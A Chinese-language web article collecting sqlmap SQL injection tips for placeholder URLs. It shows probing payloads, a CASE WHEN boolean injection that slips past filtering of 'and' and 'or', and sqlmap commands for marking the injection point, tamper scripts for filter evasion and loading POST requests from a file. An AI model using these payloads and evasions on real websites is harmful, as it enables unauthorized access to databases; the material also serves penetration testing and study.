欢迎投稿

今日深度:

Sqlmap注入技巧收集(1)

Sqlmap注入技巧收集(1)


TIP1

当我们注射的时候,判断注入

http://site/script?id=10

http://site/script?id=11-1 # 相当于 id=10

http://site/script?id=(select 10) # 相当于 id=10

http://site/script?id=10 and 1=1 #失败

通过判断可发现and和or被过滤

http://site/script?id=10– # 失败

http://site/script?id=10;– #失败

http://site/script?id=10);– #失败

http://site/script?id=10)subquery;– #失败

你可以用burp的intruder的字典跑,但是仍然失败。

这里可以用到SQL语句的case when …then … else … end语句

CASE WHEN语句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型数据库都受到支持,是标准的SQL语句。

可以这样子理解:CASE… WHEN… THEN …ELSE …END

CASE WHEN 语法有两种情况:

第一种是CASE 后面不带表达式的;

CASE WHEN expression THEN 操作1
WHEN expression THEN 操作2
.......
ELSE 操作n
END 

第二种是CASE 后面带表达式的(而此时WHEN 后面的则是该表达式可能的值),通用。

CASE expression
WHEN expression值1 THEN 操作1
WHEN expression值2 THEN 操作2
.......
ELSE 操作n
END 
http://host/script?id=11-(case when 1=1 then 1 else 0 end) 
用1=1跟1=2测试
http://host/script?id=10 # 当条件为真的时候
http://host/script?id=11 # 当条件为假的时候

可以很明显的看到返回不同,然后可以判断注入。那么怎么能让sqlmap去识别呢?

Sqlmap默认是自己寻找注入点的,但是你加上一个*,可以引导他。

语句

sqlmap.py -u http://host/script?id=11-(case when 1=1星号 then 1)

注入最头痛的就是遇到过滤,sqlmap提供了字符转换的功能

“–tamper=between”当然自己可以改写转换内容,文件在/tamper目录下。

关于post注入 sqlmap可以用-r参数 加载数据包

sqlmap.py -r post.txt

继续补充一点: having xor等逻辑符号也可以判断注入。


www.htsjk.Com true http://www.htsjk.com/shujukuaq/16692.html NewsArticle Sqlmap注入技巧收集(1) TIP1 当我们注射的时候,判断注入 http://site/script?id=10 http://site/script?id=11-1 # 相当于 id=10 http://site/script?id=(select 10) # 相当于 id=10 http://site/script?id=10 and 1=1 #失败 通过...
相关文章
    暂无相关文章
评论暂时关闭